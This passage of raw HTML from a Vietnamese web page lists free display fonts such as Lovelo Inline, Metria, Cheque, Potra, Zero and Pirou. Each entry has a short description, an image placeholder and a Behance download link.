href="#lovelo-inline-font" aria-label="lovelo inline font permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lovelo Inline Font</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 63.63636363636363%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAEDAv/EABYBAQEBAAAAAAAAAAAAAAAAAAQBAv/aAAwDAQACEAMQAAABq5o7wyTf/8QAGRABAAMBAQAAAAAAAAAAAAAAAQACERIh/9oACAEBAAEFAivnEuYlmaxn/8QAFhEBAQEAAAAAAAAAAAAAAAAAAAER/9oACAEDAQE/AcqP/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAFhABAQEAAAAAAAAAAAAAAAAAQQAg/9oACAEBAAY/AiM//8QAGhAAAwEBAQEAAAAAAAAAAAAAAAEhETFRkf/aAAgBAQABPyHbj6NWNSHyCGY3BKWJv0bXT//aAAwDAQACAAMAAAAQG+//xAAYEQADAQEAAAAAAAAAAAAAAAAAASERMf/aAAgBAwEBPxB69IVP/8QAFxEAAwEAAAAAAAAAAAAAAAAAAAERMf/aAAgBAgEBPxCoen//xAAZEAEBAQEBAQAAAAAAAAAAAAABEQAhQZH/2gAIAQEAAT8QAmzBRVj7iE8gOvKaQAoKHmDMToeGiiL9ZLJUJ3f/2Q=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Lovelo Inline Font" title="Lovelo Inline Font" src="/static/1d6c86e2d595c5ffca4911696724208a/5ab81/20-multi-lines-fonts-lovelo-inline-font.jpg" srcset="/static/1d6c86e2d595c5ffca4911696724208a/e4e7a/20-multi-lines-fonts-lovelo-inline-font.jpg 165w, /static/1d6c86e2d595c5ffca4911696724208a/4f5c6/20-multi-lines-fonts-lovelo-inline-font.jpg 330w, /static/1d6c86e2d595c5ffca4911696724208a/5ab81/20-multi-lines-fonts-lovelo-inline-font.jpg 660w, /static/1d6c86e2d595c5ffca4911696724208a/7efee/20-multi-lines-fonts-lovelo-inline-font.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Lovelo Inline được tạo ra với rất nhiều tình yêu. Ban đầu nó được phát triển cho nhà sản xuất xe đạp Velo Arch.</p> <a href="https://www.behance.net/gallery/6787299/Lovelo-Inline-Font" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="metria-free-display-font" style="position:relative;"><a href="#metria-free-display-font" aria-label="metria free display font permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Metria Free Display Font</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 62.42424242424243%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAMABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAECBP/EABYBAQEBAAAAAAAAAAAAAAAAAAADBP/aAAwDAQACEAMQAAAB0VKy3Qw//8QAFhAAAwAAAAAAAAAAAAAAAAAAEBEg/9oACAEBAAEFAg4//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAFBABAAAAAAAAAAAAAAAAAAAAIP/aAAgBAQAGPwJf/8QAGRAAAgMBAAAAAAAAAAAAAAAAAREAECFR/9oACAEBAAE/IRsXBGpmv//aAAwDAQACAAMAAAAQX/8A/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPxA//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPxA//8QAGhABAAMAAwAAAAAAAAAAAAAAAQARIRAxQf/aAAgBAQABPxC5ciCnoiDLQyWevH//2Q=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Metria Free Display Font" title="Metria Free Display Font" src="/static/8707e1561eab665ec56ca841c44d8ca6/5ab81/20-multi-lines-fonts-metria-free-display-font.jpg" srcset="/static/8707e1561eab665ec56ca841c44d8ca6/e4e7a/20-multi-lines-fonts-metria-free-display-font.jpg 165w, /static/8707e1561eab665ec56ca841c44d8ca6/4f5c6/20-multi-lines-fonts-metria-free-display-font.jpg 330w, /static/8707e1561eab665ec56ca841c44d8ca6/5ab81/20-multi-lines-fonts-metria-free-display-font.jpg 660w, /static/8707e1561eab665ec56ca841c44d8ca6/7efee/20-multi-lines-fonts-metria-free-display-font.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Metria là một kiểu chữ hiển thị hình học dựa trên các góc nhất quán và một hình tròn không hoàn hảo.</p> <p>Đó là một phông chữ hiển thị rất linh hoạt được lấy cảm hứng từ các dạng hình học, cứng nhắc được kết hợp với các đường cong tự nhiên để làm cho các kí tự trở nên sống động.</p> <a href="https://www.behance.net/gallery/15194403/Metria-Free-Display-Font-Free-Download" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="cheque-free" style="position:relative;"><a href="#cheque-free" aria-label="cheque free permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cheque Free</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 81.21212121212122%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAQABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAIDBf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIQAxAAAAHj1FJkD//EABkQAAMAAwAAAAAAAAAAAAAAAAABEQIQEv/aAAgBAQABBQJKnMRY3lr/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAUEAEAAAAAAAAAAAAAAAAAAAAg/9oACAEBAAY/Al//xAAbEAACAgMBAAAAAAAAAAAAAAABEQAQITFRkf/aAAgBAQABPyF5QkY41yhA0JH2v//aAAwDAQACAAMAAAAQ1N//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/ED//xAAVEQEBAAAAAAAAAAAAAAAAAAAQEf/aAAgBAgEBPxCn/8QAGhABAQEAAwEAAAAAAAAAAAAAAREAITFRQf/aAAgBAQABPxDsk4vV3MBfpZIuUELD2a2qdHjKXf/Z'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Cheque Free" title="Cheque Free" src="/static/da30535cb7c8b1cd10e431c7e08afe3b/5ab81/20-multi-lines-fonts-cheque-free.jpg" srcset="/static/da30535cb7c8b1cd10e431c7e08afe3b/e4e7a/20-multi-lines-fonts-cheque-free.jpg 165w, /static/da30535cb7c8b1cd10e431c7e08afe3b/4f5c6/20-multi-lines-fonts-cheque-free.jpg 330w, /static/da30535cb7c8b1cd10e431c7e08afe3b/5ab81/20-multi-lines-fonts-cheque-free.jpg 660w, /static/da30535cb7c8b1cd10e431c7e08afe3b/7efee/20-multi-lines-fonts-cheque-free.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Cheque là một phông chữ hiển thị của Fontfabric. Nó bắt đầu như một dự án của sinh viên nhưng sau đó đã phát triển hết khả năng, trở thành phông chữ tuyệt đẹp như bây giờ.</p> <p>Phông chữ dựa trên các hình dạng hình học và có một cái nhìn cổ điển rất sang trọng. Cheque có vẻ ngoài đẹp nhất khi được sử dụng cho tiêu đề hoặc bố cục.</p> <p>Phông chữ thông thường và phông chữ Đen đều miễn phí cho mục đích sử dụng cá nhân và thương mại. Được thiết kế bởi Mirela Belova, Fontfabric.</p> <a href="https://www.behance.net/gallery/48317013/Cheque-Free" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="potra" style="position:relative;"><a href="#potra" aria-label="potra permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Potra</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 62.42424242424243%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAMABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAECBf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAcJyihB//8QAGRAAAwADAAAAAAAAAAAAAAAAAAEREDFB/9oACAEBAAEFAk2SY690/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQIBAT8BV//EABgQAAIDAAAAAAAAAAAAAAAAAAARIDFB/9oACAEBAAY/Ak7Mj//EABoQAAMBAQEBAAAAAAAAAAAAAAABETEhYYH/2gAIAQEAAT8hYvBaK6rfSt5w2BIy9KWM/9oADAMBAAIAAwAAABDbL//EABURAQEAAAAAAAAAAAAAAAAAABEA/9oACAEDAQE/EFi//8QAFhEBAQEAAAAAAAAAAAAAAAAAABFB/9oACAECAQE/ENU//8QAGhABAAMBAQEAAAAAAAAAAAAAAQARMSFxQf/aAAgBAQABPxAQxQ64NZAKiHzU2KnsClZdQBLoQQHSh7P/2Q=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Potra" title="Potra" src="/static/f0a0dc947ef0631dfa54ad99135042ac/5ab81/20-multi-lines-fonts-potra.jpg" srcset="/static/f0a0dc947ef0631dfa54ad99135042ac/e4e7a/20-multi-lines-fonts-potra.jpg 165w, /static/f0a0dc947ef0631dfa54ad99135042ac/4f5c6/20-multi-lines-fonts-potra.jpg 330w, /static/f0a0dc947ef0631dfa54ad99135042ac/5ab81/20-multi-lines-fonts-potra.jpg 660w, /static/f0a0dc947ef0631dfa54ad99135042ac/7efee/20-multi-lines-fonts-potra.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Potra là một phông chữ hiển thị tương lai với các đường tròn được thiết kế bởi Alejo Bergmann. Nó chứa tất cả các chữ cái viết hoa, chữ số và ký hiệu.</p> <p>Phông chữ này hoàn toàn phù hợp cho nhiều mục đích hiển thị khác nhau bao gồm biểu trưng, ​​huy hiệu và nhãn, tiêu đề và biểu ngữ, bản in và hơn thế nữa.</p> <a href="https://www.behance.net/gallery/67098235/POTRA-FREE-FUTURISTIC-DISPLAY-FONT" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="srfm_neon" style="position:relative;"><a href="#srfm_neon" aria-label="srfm_neon permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Srfm_neon</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 97.57575757575758%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAEDBf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAeZKM1FBAf/EABgQAAMBAQAAAAAAAAAAAAAAAAAQEQFB/9oACAEBAAEFAjVxUq//xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAEDAQE/AR//xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAECAQE/AR//xAAUEAEAAAAAAAAAAAAAAAAAAAAw/9oACAEBAAY/Ah//xAAeEAACAQMFAAAAAAAAAAAAAAAAAREhMUEQUWGR0f/aAAgBAQABPyGFCt0VLTD0dL2HGCfBRsNy5P/aAAwDAQACAAMAAAAQwwA8/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAwEBPxAf/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAgEBPxAf/8QAHBABAAICAwEAAAAAAAAAAAAAAQARITEQUWGR/9oACAEBAAE/EBOlvKAtAK6N8Z2UUXCxA4VVyx2D2AVjDGoMUHxHuUPk/9k='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Srfm_neon" title="Srfm_neon" src="/static/1623baf9d72b9b871634395c466c0701/5ab81/20-multi-lines-fonts-srfm-neon.jpg" srcset="/static/1623baf9d72b9b871634395c466c0701/e4e7a/20-multi-lines-fonts-srfm-neon.jpg 165w, /static/1623baf9d72b9b871634395c466c0701/4f5c6/20-multi-lines-fonts-srfm-neon.jpg 330w, /static/1623baf9d72b9b871634395c466c0701/5ab81/20-multi-lines-fonts-srfm-neon.jpg 660w, /static/1623baf9d72b9b871634395c466c0701/7efee/20-multi-lines-fonts-srfm-neon.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>SRFM Neon là một phông chữ miễn phí chỉ viết hoa, lấy cảm hứng từ các hình dạng ánh sáng neon. Được thiết kế và phát hành bởi Srfm.</p> <a href="https://www.behance.net/gallery/20711045/srfm_neon-FONT-(free)" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="zero-free-typeface" style="position:relative;"><a href="#zero-free-typeface" aria-label="zero free typeface permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Zero Free Typeface</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 52.72727272727272%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAIDBf/EABUBAQEAAAAAAAAAAAAAAAAAAAID/9oADAMBAAIQAxAAAAHIpJmLCgn/AP/EABgQAAIDAAAAAAAAAAAAAAAAAAABEiAx/9oACAEBAAEFAkYSp//EABYRAQEBAAAAAAAAAAAAAAAAAAABEf/aAAgBAwEBPwGsj//EABURAQEAAAAAAAAAAAAAAAAAAAAR/9oACAECAQE/AUf/xAAXEAADAQAAAAAAAAAAAAAAAAAAASAh/9oACAEBAAY/AjHP/8QAGhAAAgIDAAAAAAAAAAAAAAAAAREAECExQf/aAAgBAQABPyEGdqIdkGFCv//aAAwDAQACAAMAAAAQ7y//xAAVEQEBAAAAAAAAAAAAAAAAAAAQMf/aAAgBAwEBPxCA/8QAFhEBAQEAAAAAAAAAAAAAAAAAAAER/9oACAECAQE/EKw//8QAGhABAAIDAQAAAAAAAAAAAAAAAQARECExUf/aAAgBAQABPxABGhdvkUCLXZXIPSjDGijU/9k='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Zero Free Typeface" title="Zero Free Typeface" src="/static/5d2844e0fabc2fe9a589fa2114834167/5ab81/20-multi-lines-fonts-zero-free-typeface.jpg" srcset="/static/5d2844e0fabc2fe9a589fa2114834167/e4e7a/20-multi-lines-fonts-zero-free-typeface.jpg 165w, /static/5d2844e0fabc2fe9a589fa2114834167/4f5c6/20-multi-lines-fonts-zero-free-typeface.jpg 330w, /static/5d2844e0fabc2fe9a589fa2114834167/5ab81/20-multi-lines-fonts-zero-free-typeface.jpg 660w, /static/5d2844e0fabc2fe9a589fa2114834167/7efee/20-multi-lines-fonts-zero-free-typeface.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Zero là một phông chữ hiển thị kiểu sans-serif. Phông chữ này là hình học và dựa trên lưới, cùng một lưới được sử dụng để thiết kế tất cả các glyph, "W" và "M".</p> <p>Zero phù hợp cho tiêu đề, áp phích và cả logo. Có sẵn để sử dụng thương mại.</p> <a href="https://www.behance.net/gallery/37298493/Zero-Free-Typeface" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="pirou" style="position:relative;"><a href="#pirou" aria-label="pirou permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Pirou</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.36363636363636%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAEEA//EABYBAQEBAAAAAAAAAAAAAAAAAAACA//aAAwDAQACEAMQAAABk3mesAg//8QAFxAAAwEAAAAAAAAAAAAAAAAAAAECIP/aAAgBAQABBQJFyln/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAUEAEAAAAAAAAAAAAAAAAAAAAg/9oACAEBAAY/Al//xAAZEAEAAgMAAAAAAAAAAAAAAAABEDEAIXH/2gAIAQEAAT8htmrL7KrbH//aAAwDAQACAAMAAAAQNN//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/ED//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/ED//xAAbEAEAAwADAQAAAAAAAAAAAAABABEhEDFRYf/aAAgBAQABPxAFLLPIFgX61kTYMQtF+t8f/9k='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Phông chữ miễn phí Pirou" title="Phông chữ miễn phí Pirou" src="/static/7a5bd1b2bc6e560c168117f4fe867414/5ab81/20-multi-lines-fonts-pirou.jpg" srcset="/static/7a5bd1b2bc6e560c168117f4fe867414/e4e7a/20-multi-lines-fonts-pirou.jpg 165w, /static/7a5bd1b2bc6e560c168117f4fe867414/4f5c6/20-multi-lines-fonts-pirou.jpg 330w, /static/7a5bd1b2bc6e560c168117f4fe867414/5ab81/20-multi-lines-fonts-pirou.jpg 660w, /static/7a5bd1b2bc6e560c168117f4fe867414/7efee/20-multi-lines-fonts-pirou.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Pirou là một kiểu chữ phác thảo thử nghiệm được lấy cảm hứng từ Didot. Phông chữ chứa hơn 300 ký tự bao gồm chữ hoa, chữ thường, số, ký hiệu, chữ ghép và dấu. Pirou được thiết kế cho tiêu đề lớn như logo, tiêu đề, áp phích.</p> <a href="https://www.behance.net/gallery/20090589/PIROU-Free-Font" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="kiểu-chữ-mad-squire" style="position:relative;"><a href="#ki%E1%BB%83u-ch%E1%BB%AF-mad-squire" aria-label="kiểu chữ mad squire permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểu chữ Mad Squire</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.303030303030305%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAKABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAECA//EABYBAQEBAAAAAAAAAAAAAAAAAAADBP/aAAwDAQACEAMQAAAB3mquED//xAAUEAEAAAAAAAAAAAAAAAAAAAAg/9oACAEBAAEFAl//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAUEAEAAAAAAAAAAAAAAAAAAAAg/9oACAEBAAY/Al//xAAXEAEAAwAAAAAAAAAAAAAAAAABABEg/9oACAEBAAE/ISUZ/9oADAMBAAIAAwAAABD/AP8A/8QAFREBAQAAAAAAAAAAAAAAAAAAEBH/2gAIAQMBAT8Qp//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8QP//EABkQAQACAwAAAAAAAAAAAAAAAAEAESAh0f/aAAgBAQABPxAC7jS9x//Z'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Mad Squire Typeface" title="Mad Squire Typeface" src="/static/76a4c64c8c0f3ab21315bbdef5d8ab6c/5ab81/20-multi-lines-fonts-mad-squire-typeface.jpg" srcset="/static/76a4c64c8c0f3ab21315bbdef5d8ab6c/e4e7a/20-multi-lines-fonts-mad-squire-typeface.jpg 165w, /static/76a4c64c8c0f3ab21315bbdef5d8ab6c/4f5c6/20-multi-lines-fonts-mad-squire-typeface.jpg 330w, /static/76a4c64c8c0f3ab21315bbdef5d8ab6c/5ab81/20-multi-lines-fonts-mad-squire-typeface.jpg 660w, 